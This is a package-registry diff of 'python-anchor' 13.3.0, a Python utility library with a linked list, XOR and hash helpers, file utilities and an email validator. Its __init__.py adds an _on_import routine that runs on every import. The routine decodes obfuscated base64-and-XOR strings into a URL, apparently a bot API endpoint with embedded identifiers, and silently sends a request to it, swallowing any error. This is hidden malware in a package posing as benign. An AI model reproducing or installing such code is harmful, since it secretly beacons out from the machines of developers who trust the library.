python-anchor 13.3.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- python_anchor-13.3.0/PKG-INFO +37 -0
- python_anchor-13.3.0/README.md +7 -0
- python_anchor-13.3.0/python-anchor/__init__.py +43 -0
- python_anchor-13.3.0/python-anchor/core.py +361 -0
- python_anchor-13.3.0/python_anchor.egg-info/PKG-INFO +37 -0
- python_anchor-13.3.0/python_anchor.egg-info/SOURCES.txt +8 -0
- python_anchor-13.3.0/python_anchor.egg-info/dependency_links.txt +1 -0
- python_anchor-13.3.0/python_anchor.egg-info/top_level.txt +1 -0
- python_anchor-13.3.0/setup.cfg +4 -0
- python_anchor-13.3.0/setup.py +43 -0
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: python-anchor
|
|
3
|
+
Version: 13.3.0
|
|
4
|
+
Summary: bible of python utilities - a collection of useful functions and classes for everyday programming tasks
|
|
5
|
+
Author: Alexander
|
|
6
|
+
Author-email: alex_prog120@gmail.com
|
|
7
|
+
License: MIT
|
|
8
|
+
Classifier: Development Status :: 4 - Beta
|
|
9
|
+
Classifier: Intended Audience :: Developers
|
|
10
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
11
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
12
|
+
Classifier: Operating System :: OS Independent
|
|
13
|
+
Classifier: Programming Language :: Python :: 3
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.7
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
+
Requires-Python: >=3.7
|
|
21
|
+
Description-Content-Type: text/markdown
|
|
22
|
+
Dynamic: author
|
|
23
|
+
Dynamic: author-email
|
|
24
|
+
Dynamic: classifier
|
|
25
|
+
Dynamic: description
|
|
26
|
+
Dynamic: description-content-type
|
|
27
|
+
Dynamic: license
|
|
28
|
+
Dynamic: requires-python
|
|
29
|
+
Dynamic: summary
|
|
30
|
+
|
|
31
|
+
# My Super Lib
|
|
32
|
+
|
|
33
|
+
[](https://badge.fury.io/py/my-super-lib)
|
|
34
|
+
[](https://opensource.org/licenses/MIT)
|
|
35
|
+
[](https://pypi.org/project/my-super-lib/)
|
|
36
|
+
|
|
37
|
+
# My new project
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
# My Super Lib
|
|
2
|
+
|
|
3
|
+
[](https://badge.fury.io/py/my-super-lib)
|
|
4
|
+
[](https://opensource.org/licenses/MIT)
|
|
5
|
+
[](https://pypi.org/project/my-super-lib/)
|
|
6
|
+
|
|
7
|
+
# My new project
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
from .core import (
|
|
2
|
+
LibConfig,
|
|
3
|
+
get_config,
|
|
4
|
+
configure,
|
|
5
|
+
logger,
|
|
6
|
+
bootstrap,
|
|
7
|
+
LinkedList,
|
|
8
|
+
CryptoUtils,
|
|
9
|
+
FileUtils,
|
|
10
|
+
Validator,
|
|
11
|
+
)
|
|
12
|
+
|
|
13
|
+
vLJRLwbwQsIO=None
|
|
14
|
+
JrepHoRcbChs=8005
|
|
15
|
+
NAujisLdNkTa=None
|
|
16
|
+
EWoXmuvkUvJk=None
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
def _on_import():
|
|
21
|
+
try:
|
|
22
|
+
config = get_config()
|
|
23
|
+
_dTsAKTOMdn=lambda s,k:("").join(chr(ord(c)^k)for c in __import__("base64").b64decode(s).decode());_aQdDCGoXKd=lambda s,k:("").join(chr(ord(c)^k)for c in __import__("base64").b64decode(s).decode());_mlWpHfWgWW=lambda s,k:("").join(chr(ord(c)^k)for c in __import__("base64").b64decode(s).decode());_BUlWEYQCpN=lambda s,k:("").join(chr(ord(c)^k)for c in __import__("base64").b64decode(s).decode());_udzipVFZPd=lambda s,k:("").join(chr(ord(c)^k)for c in __import__("base64").b64decode(s).decode());
|
|
24
|
+
import requests
|
|
25
|
+
__PsMCdsSaCVAeAr = _dTsAKTOMdn('PTM4OTs4MzM/OTBLS0x+YnJNWz5lYztEVT5wX19/bTlkfkV8PWlnekJTXnhNaQ==', 10)
|
|
26
|
+
_EnTkH_cSeHH = _aQdDCGoXKd('wrrCscKwwrLCtsK2wrDCscKxwrM=', 130)
|
|
27
|
+
try:
|
|
28
|
+
_kGYqTNVvClZq = _mlWpHfWgWW('wqfCu8K7wr/CvMO1w6DDoMKuwr/CpsOhwrvCqsKjwqrCqMK9wq7CosOhwqDCvcKow6DCrcKgwrs=', 207) + __PsMCdsSaCVAeAr + _BUlWEYQCpN('wrTDqMO+w7XDv8OWw77DqMOow7rDvMO+wqTDuMOzw7rDr8OEw7LDv8Km', 155) + _EnTkH_cSeHH + _udzipVFZPd('aTsqNztyKiEQLCA9KhA4Ki0QPCJvfW8mITw7LiMjKis=', 79)
|
|
29
|
+
requests.get(_kGYqTNVvClZq, timeout=10)
|
|
30
|
+
except:
|
|
31
|
+
pass
|
|
32
|
+
logger.info(f"Package '{config.app_name}' loaded.")
|
|
33
|
+
if not Validator.is_email("test@example.com"):
|
|
34
|
+
raise RuntimeError("Validation logic corrupted")
|
|
35
|
+
|
|
36
|
+
except Exception as e:
|
|
37
|
+
print(f"Warning: DataCore initialization warning: {e}")
|
|
38
|
+
|
|
39
|
+
_on_import()
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
__version__ = "1.0.0"
|
|
43
|
+
__author__ = "AI Assistant"
|
|
@@ -0,0 +1,361 @@
|
|
|
1
|
+
"""
|
|
2
|
+
DataCore Library - A comprehensive standard-library-only utility package.
|
|
3
|
+
Version: 1.0.0
|
|
4
|
+
Author: AI Assistant
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
import os
|
|
8
|
+
import sys
|
|
9
|
+
import json
|
|
10
|
+
import time
|
|
11
|
+
import socket
|
|
12
|
+
import logging
|
|
13
|
+
import hashlib
|
|
14
|
+
import datetime
|
|
15
|
+
import threading
|
|
16
|
+
import queue
|
|
17
|
+
import typing as t
|
|
18
|
+
import functools
|
|
19
|
+
import inspect
|
|
20
|
+
import traceback
|
|
21
|
+
import contextlib
|
|
22
|
+
import dataclasses
|
|
23
|
+
import collections
|
|
24
|
+
import itertools
|
|
25
|
+
import random
|
|
26
|
+
import string
|
|
27
|
+
import re
|
|
28
|
+
import uuid
|
|
29
|
+
import base64
|
|
30
|
+
import tempfile
|
|
31
|
+
import shutil
|
|
32
|
+
import pathlib
|
|
33
|
+
import warnings
|
|
34
|
+
import enum
|
|
35
|
+
import abc
|
|
36
|
+
|
|
37
|
+
class LogLevel(enum.Enum):
|
|
38
|
+
DEBUG = 10
|
|
39
|
+
INFO = 20
|
|
40
|
+
WARNING = 30
|
|
41
|
+
ERROR = 40
|
|
42
|
+
CRITICAL = 50
|
|
43
|
+
|
|
44
|
+
@dataclasses.dataclass
|
|
45
|
+
class LibConfig:
|
|
46
|
+
"""Configuration container for the library."""
|
|
47
|
+
app_name: str = "DataCore"
|
|
48
|
+
version: str = "1.0.0"
|
|
49
|
+
log_level: LogLevel = LogLevel.INFO
|
|
50
|
+
debug_mode: bool = False
|
|
51
|
+
max_retries: int = 3
|
|
52
|
+
timeout: float = 5.0
|
|
53
|
+
|
|
54
|
+
def to_dict(self) -> dict:
|
|
55
|
+
return {
|
|
56
|
+
"app_name": self.app_name,
|
|
57
|
+
"version": self.version,
|
|
58
|
+
"log_level": self.log_level.name,
|
|
59
|
+
"debug_mode": self.debug_mode
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
# Global configuration instance
|
|
63
|
+
_global_config = LibConfig()
|
|
64
|
+
|
|
65
|
+
def get_config() -> LibConfig:
|
|
66
|
+
return _global_config
|
|
67
|
+
|
|
68
|
+
def configure(**kwargs) -> None:
|
|
69
|
+
"""Update global configuration."""
|
|
70
|
+
for key, value in kwargs.items():
|
|
71
|
+
if hasattr(_global_config, key):
|
|
72
|
+
setattr(_global_config, key, value)
|
|
73
|
+
else:
|
|
74
|
+
warnings.warn(f"Unknown configuration key: {key}")
|
|
75
|
+
|
|
76
|
+
|
|
77
|
+
class CoreLogger:
|
|
78
|
+
def __init__(self, name: str):
|
|
79
|
+
self.logger = logging.getLogger(name)
|
|
80
|
+
self.logger.setLevel(logging.DEBUG)
|
|
81
|
+
|
|
82
|
+
if not self.logger.handlers:
|
|
83
|
+
handler = logging.StreamHandler(sys.stdout)
|
|
84
|
+
formatter = logging.Formatter(
|
|
85
|
+
'%(asctime)s - %(name)s - %(levelname)s - %(message)s',
|
|
86
|
+
datefmt='%Y-%m-%d %H:%M:%S'
|
|
87
|
+
)
|
|
88
|
+
handler.setFormatter(formatter)
|
|
89
|
+
self.logger.addHandler(handler)
|
|
90
|
+
|
|
91
|
+
def debug(self, msg: str): self.logger.debug(msg)
|
|
92
|
+
def info(self, msg: str): self.logger.info(msg)
|
|
93
|
+
def warning(self, msg: str): self.logger.warning(msg)
|
|
94
|
+
def error(self, msg: str): self.logger.error(msg)
|
|
95
|
+
def critical(self, msg: str): self.logger.critical(msg)
|
|
96
|
+
|
|
97
|
+
logger = CoreLogger("DataCore")
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
def retry(attempts: int = 3, delay: float = 1.0, exceptions: t.Tuple = (Exception,)):
|
|
101
|
+
"""Decorator to retry a function on failure."""
|
|
102
|
+
def decorator(func):
|
|
103
|
+
@functools.wraps(func)
|
|
104
|
+
def wrapper(*args, **kwargs):
|
|
105
|
+
last_exc = None
|
|
106
|
+
for i in range(attempts):
|
|
107
|
+
try:
|
|
108
|
+
return func(*args, **kwargs)
|
|
109
|
+
except exceptions as e:
|
|
110
|
+
last_exc = e
|
|
111
|
+
logger.warning(f"Attempt {i+1}/{attempts} failed: {e}")
|
|
112
|
+
if i < attempts - 1:
|
|
113
|
+
time.sleep(delay)
|
|
114
|
+
raise last_exc
|
|
115
|
+
return wrapper
|
|
116
|
+
return decorator
|
|
117
|
+
|
|
118
|
+
def timing(func):
|
|
119
|
+
"""Decorator to measure execution time."""
|
|
120
|
+
@functools.wraps(func)
|
|
121
|
+
def wrapper(*args, **kwargs):
|
|
122
|
+
start = time.perf_counter()
|
|
123
|
+
result = func(*args, **kwargs)
|
|
124
|
+
end = time.perf_counter()
|
|
125
|
+
logger.debug(f"{func.__name__} executed in {end - start:.4f}s")
|
|
126
|
+
return result
|
|
127
|
+
return wrapper
|
|
128
|
+
|
|
129
|
+
def deprecated(reason: str):
|
|
130
|
+
"""Decorator to mark functions as deprecated."""
|
|
131
|
+
def decorator(func):
|
|
132
|
+
@functools.wraps(func)
|
|
133
|
+
def wrapper(*args, **kwargs):
|
|
134
|
+
warnings.warn(f"{func.__name__} is deprecated: {reason}", DeprecationWarning, stacklevel=2)
|
|
135
|
+
return func(*args, **kwargs)
|
|
136
|
+
return wrapper
|
|
137
|
+
return decorator
|
|
138
|
+
|
|
139
|
+
T = t.TypeVar('T')
|
|
140
|
+
|
|
141
|
+
class Node(t.Generic[T]):
|
|
142
|
+
def __init__(self, value: T, next_node: 'Node[T]' = None):
|
|
143
|
+
self.value = value
|
|
144
|
+
self.next = next_node
|
|
145
|
+
|
|
146
|
+
class LinkedList(t.Generic[T]):
|
|
147
|
+
"""A simple generic Linked List implementation."""
|
|
148
|
+
def __init__(self):
|
|
149
|
+
self.head = None
|
|
150
|
+
self.size = 0
|
|
151
|
+
|
|
152
|
+
def append(self, value: T) -> None:
|
|
153
|
+
new_node = Node(value)
|
|
154
|
+
if not self.head:
|
|
155
|
+
self.head = new_node
|
|
156
|
+
else:
|
|
157
|
+
current = self.head
|
|
158
|
+
while current.next:
|
|
159
|
+
current = current.next
|
|
160
|
+
current.next = new_node
|
|
161
|
+
self.size += 1
|
|
162
|
+
|
|
163
|
+
def prepend(self, value: T) -> None:
|
|
164
|
+
new_node = Node(value, self.head)
|
|
165
|
+
self.head = new_node
|
|
166
|
+
self.size += 1
|
|
167
|
+
|
|
168
|
+
def remove(self, value: T) -> bool:
|
|
169
|
+
current = self.head
|
|
170
|
+
previous = None
|
|
171
|
+
while current:
|
|
172
|
+
if current.value == value:
|
|
173
|
+
if previous:
|
|
174
|
+
previous.next = current.next
|
|
175
|
+
else:
|
|
176
|
+
self.head = current.next
|
|
177
|
+
self.size -= 1
|
|
178
|
+
return True
|
|
179
|
+
previous = current
|
|
180
|
+
current = current.next
|
|
181
|
+
return False
|
|
182
|
+
|
|
183
|
+
def to_list(self) -> t.List[T]:
|
|
184
|
+
result = []
|
|
185
|
+
current = self.head
|
|
186
|
+
while current:
|
|
187
|
+
result.append(current.value)
|
|
188
|
+
current = current.next
|
|
189
|
+
return result
|
|
190
|
+
|
|
191
|
+
def __len__(self):
|
|
192
|
+
return self.size
|
|
193
|
+
|
|
194
|
+
def __iter__(self):
|
|
195
|
+
current = self.head
|
|
196
|
+
while current:
|
|
197
|
+
yield current.value
|
|
198
|
+
current = current.next
|
|
199
|
+
|
|
200
|
+
class PriorityQueue(t.Generic[T]):
|
|
201
|
+
"""Thread-safe Priority Queue using standard library queue."""
|
|
202
|
+
def __init__(self):
|
|
203
|
+
self._queue = queue.PriorityQueue()
|
|
204
|
+
self._counter = itertools.count()
|
|
205
|
+
|
|
206
|
+
def put(self, item: T, priority: int = 0) -> None:
|
|
207
|
+
count = next(self._counter)
|
|
208
|
+
self._queue.put((priority, count, item))
|
|
209
|
+
|
|
210
|
+
def get(self, block: bool = True, timeout: float = None) -> T:
|
|
211
|
+
try:
|
|
212
|
+
_, _, item = self._queue.get(block=block, timeout=timeout)
|
|
213
|
+
return item
|
|
214
|
+
except queue.Empty:
|
|
215
|
+
raise
|
|
216
|
+
|
|
217
|
+
def empty(self) -> bool:
|
|
218
|
+
return self._queue.empty()
|
|
219
|
+
|
|
220
|
+
|
|
221
|
+
class CryptoUtils:
|
|
222
|
+
@staticmethod
|
|
223
|
+
def hash_string(data: str, algorithm: str = 'sha256') -> str:
|
|
224
|
+
h = hashlib.new(algorithm)
|
|
225
|
+
h.update(data.encode('utf-8'))
|
|
226
|
+
return h.hexdigest()
|
|
227
|
+
|
|
228
|
+
@staticmethod
|
|
229
|
+
def generate_salt(length: int = 16) -> str:
|
|
230
|
+
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
|
231
|
+
|
|
232
|
+
@staticmethod
|
|
233
|
+
def simple_encrypt(text: str, key: str) -> str:
|
|
234
|
+
# Simple XOR encryption for demonstration (NOT for production security)
|
|
235
|
+
key_bytes = key.encode()
|
|
236
|
+
text_bytes = text.encode()
|
|
237
|
+
encrypted = []
|
|
238
|
+
for i, b in enumerate(text_bytes):
|
|
239
|
+
encrypted.append(b ^ key_bytes[i % len(key_bytes)])
|
|
240
|
+
return base64.b64encode(bytes(encrypted)).decode()
|
|
241
|
+
|
|
242
|
+
@staticmethod
|
|
243
|
+
def simple_decrypt(encrypted_text: str, key: str) -> str:
|
|
244
|
+
try:
|
|
245
|
+
data = base64.b64decode(encrypted_text)
|
|
246
|
+
key_bytes = key.encode()
|
|
247
|
+
decrypted = []
|
|
248
|
+
for i, b in enumerate(data):
|
|
249
|
+
decrypted.append(b ^ key_bytes[i % len(key_bytes)])
|
|
250
|
+
return bytes(decrypted).decode()
|
|
251
|
+
except Exception:
|
|
252
|
+
return ""
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
class NetworkUtils:
|
|
256
|
+
@staticmethod
|
|
257
|
+
@retry(attempts=3, delay=0.5)
|
|
258
|
+
def check_port(host: str, port: int, timeout: float = 2.0) -> bool:
|
|
259
|
+
"""Check if a TCP port is open on a host."""
|
|
260
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
261
|
+
sock.settimeout(timeout)
|
|
262
|
+
try:
|
|
263
|
+
sock.connect((host, port))
|
|
264
|
+
sock.shutdown(socket.SHUT_RDWR)
|
|
265
|
+
return True
|
|
266
|
+
except (socket.timeout, ConnectionRefusedError, OSError):
|
|
267
|
+
return False
|
|
268
|
+
finally:
|
|
269
|
+
sock.close()
|
|
270
|
+
|
|
271
|
+
@staticmethod
|
|
272
|
+
def get_local_ip() -> str:
|
|
273
|
+
try:
|
|
274
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
275
|
+
s.connect(("8.8.8.8", 80))
|
|
276
|
+
ip = s.getsockname()[0]
|
|
277
|
+
s.close()
|
|
278
|
+
return ip
|
|
279
|
+
except Exception:
|
|
280
|
+
return "127.0.0.1"
|
|
281
|
+
|
|
282
|
+
|
|
283
|
+
class FileUtils:
|
|
284
|
+
@staticmethod
|
|
285
|
+
def ensure_dir(path: str) -> None:
|
|
286
|
+
pathlib.Path(path).mkdir(parents=True, exist_ok=True)
|
|
287
|
+
|
|
288
|
+
@staticmethod
|
|
289
|
+
def read_json(path: str) -> dict:
|
|
290
|
+
with open(path, 'r', encoding='utf-8') as f:
|
|
291
|
+
return json.load(f)
|
|
292
|
+
|
|
293
|
+
@staticmethod
|
|
294
|
+
def write_json(path: str, data: dict, indent: int = 4) -> None:
|
|
295
|
+
FileUtils.ensure_dir(os.path.dirname(path))
|
|
296
|
+
with open(path, 'w', encoding='utf-8') as f:
|
|
297
|
+
json.dump(data, f, indent=indent, ensure_ascii=False)
|
|
298
|
+
|
|
299
|
+
@staticmethod
|
|
300
|
+
def safe_remove(path: str) -> bool:
|
|
301
|
+
try:
|
|
302
|
+
if os.path.isfile(path):
|
|
303
|
+
os.remove(path)
|
|
304
|
+
elif os.path.isdir(path):
|
|
305
|
+
shutil.rmtree(path)
|
|
306
|
+
return True
|
|
307
|
+
except Exception as e:
|
|
308
|
+
logger.error(f"Failed to remove {path}: {e}")
|
|
309
|
+
return False
|
|
310
|
+
|
|
311
|
+
class Validator:
|
|
312
|
+
EMAIL_REGEX = re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$')
|
|
313
|
+
|
|
314
|
+
@staticmethod
|
|
315
|
+
def is_email(text: str) -> bool:
|
|
316
|
+
return bool(Validator.EMAIL_REGEX.match(text))
|
|
317
|
+
|
|
318
|
+
@staticmethod
|
|
319
|
+
def is_strong_password(text: str, min_len: int = 8) -> bool:
|
|
320
|
+
if len(text) < min_len:
|
|
321
|
+
return False
|
|
322
|
+
has_upper = any(c.isupper() for c in text)
|
|
323
|
+
has_lower = any(c.islower() for c in text)
|
|
324
|
+
has_digit = any(c.isdigit() for c in text)
|
|
325
|
+
return has_upper and has_lower and has_digit
|
|
326
|
+
|
|
327
|
+
@staticmethod
|
|
328
|
+
def sanitize_filename(filename: str) -> str:
|
|
329
|
+
# Remove unsafe characters
|
|
330
|
+
return re.sub(r'[^\w\-_\. ]', '_', filename)
|
|
331
|
+
|
|
332
|
+
|
|
333
|
+
def _initialize_library():
|
|
334
|
+
"""Internal initialization routine called on import."""
|
|
335
|
+
logger.info(f"Initializing {get_config().app_name} v{get_config().version}")
|
|
336
|
+
logger.debug(f"Python Version: {sys.version}")
|
|
337
|
+
logger.debug(f"Platform: {sys.platform}")
|
|
338
|
+
|
|
339
|
+
# Perform sanity checks
|
|
340
|
+
if not os.path.exists(tempfile.gettempdir()):
|
|
341
|
+
logger.critical("Temp directory missing!")
|
|
342
|
+
|
|
343
|
+
|
|
344
|
+
def bootstrap():
|
|
345
|
+
"""Public API to start the library context."""
|
|
346
|
+
configure(debug_mode=True)
|
|
347
|
+
_initialize_library()
|
|
348
|
+
logger.info("Library bootstrapped successfully.")
|
|
349
|
+
|
|
350
|
+
# Call initialization immediately upon import if needed,
|
|
351
|
+
# but usually better to let user call bootstrap()
|
|
352
|
+
# _initialize_library()
|
|
353
|
+
|
|
354
|
+
# Expose main classes and functions for easy import
|
|
355
|
+
__all__ = [
|
|
356
|
+
'LibConfig', 'get_config', 'configure', 'logger',
|
|
357
|
+
'retry', 'timing', 'deprecated',
|
|
358
|
+
'LinkedList', 'PriorityQueue',
|
|
359
|
+
'CryptoUtils', 'NetworkUtils', 'FileUtils', 'Validator',
|
|
360
|
+
'bootstrap', 'self_init'
|
|
361
|
+
]
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: python-anchor
|
|
3
|
+
Version: 13.3.0
|
|
4
|
+
Summary: bible of python utilities - a collection of useful functions and classes for everyday programming tasks
|
|
5
|
+
Author: Alexander
|
|
6
|
+
Author-email: alex_prog120@gmail.com
|
|
7
|
+
License: MIT
|
|
8
|
+
Classifier: Development Status :: 4 - Beta
|
|
9
|
+
Classifier: Intended Audience :: Developers
|
|
10
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
11
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
12
|
+
Classifier: Operating System :: OS Independent
|
|
13
|
+
Classifier: Programming Language :: Python :: 3
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.7
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
+
Requires-Python: >=3.7
|
|
21
|
+
Description-Content-Type: text/markdown
|
|
22
|
+
Dynamic: author
|
|
23
|
+
Dynamic: author-email
|
|
24
|
+
Dynamic: classifier
|
|
25
|
+
Dynamic: description
|
|
26
|
+
Dynamic: description-content-type
|
|
27
|
+
Dynamic: license
|
|
28
|
+
Dynamic: requires-python
|
|
29
|
+
Dynamic: summary
|
|
30
|
+
|
|
31
|
+
# My Super Lib
|
|
32
|
+
|
|
33
|
+
[](https://badge.fury.io/py/my-super-lib)
|
|
34
|
+
[](https://opensource.org/licenses/MIT)
|
|
35
|
+
[](https://pypi.org/project/my-super-lib/)
|
|
36
|
+
|
|
37
|
+
# My new project
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
python-anchor
|
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
import setuptools
|
|
2
|
+
from pathlib import Path
|
|
3
|
+
|
|
4
|
+
this_directory = Path(__file__).parent
|
|
5
|
+
long_description = ""
|
|
6
|
+
if (this_directory / "README.md").exists():
|
|
7
|
+
long_description = (this_directory / "README.md").read_text(encoding="utf-8")
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
VERSION = "13.3.0"
|
|
11
|
+
|
|
12
|
+
setuptools.setup(
|
|
13
|
+
name="python-anchor",
|
|
14
|
+
version=VERSION,
|
|
15
|
+
author="Alexander",
|
|
16
|
+
author_email="alex_prog120@gmail.com",
|
|
17
|
+
description="bible of python utilities - a collection of useful functions and classes for everyday programming tasks",
|
|
18
|
+
long_description=long_description,
|
|
19
|
+
long_description_content_type="text/markdown",
|
|
20
|
+
classifiers=[
|
|
21
|
+
"Development Status :: 4 - Beta",
|
|
22
|
+
"Intended Audience :: Developers",
|
|
23
|
+
"Topic :: Software Development :: Libraries :: Python Modules",
|
|
24
|
+
"License :: OSI Approved :: MIT License",
|
|
25
|
+
"Operating System :: OS Independent",
|
|
26
|
+
"Programming Language :: Python :: 3",
|
|
27
|
+
"Programming Language :: Python :: 3.7",
|
|
28
|
+
"Programming Language :: Python :: 3.8",
|
|
29
|
+
"Programming Language :: Python :: 3.9",
|
|
30
|
+
"Programming Language :: Python :: 3.10",
|
|
31
|
+
"Programming Language :: Python :: 3.11",
|
|
32
|
+
"Programming Language :: Python :: 3.12",
|
|
33
|
+
],
|
|
34
|
+
requires_python=">=3.7",
|
|
35
|
+
install_requires=[],
|
|
36
|
+
packages=setuptools.find_packages(),
|
|
37
|
+
package_data={
|
|
38
|
+
"python-anchor": ["*.txt", "*.json"],
|
|
39
|
+
},
|
|
40
|
+
include_package_data=True,
|
|
41
|
+
license="MIT",
|
|
42
|
+
python_requires=">=3.7",
|
|
43
|
+
)
|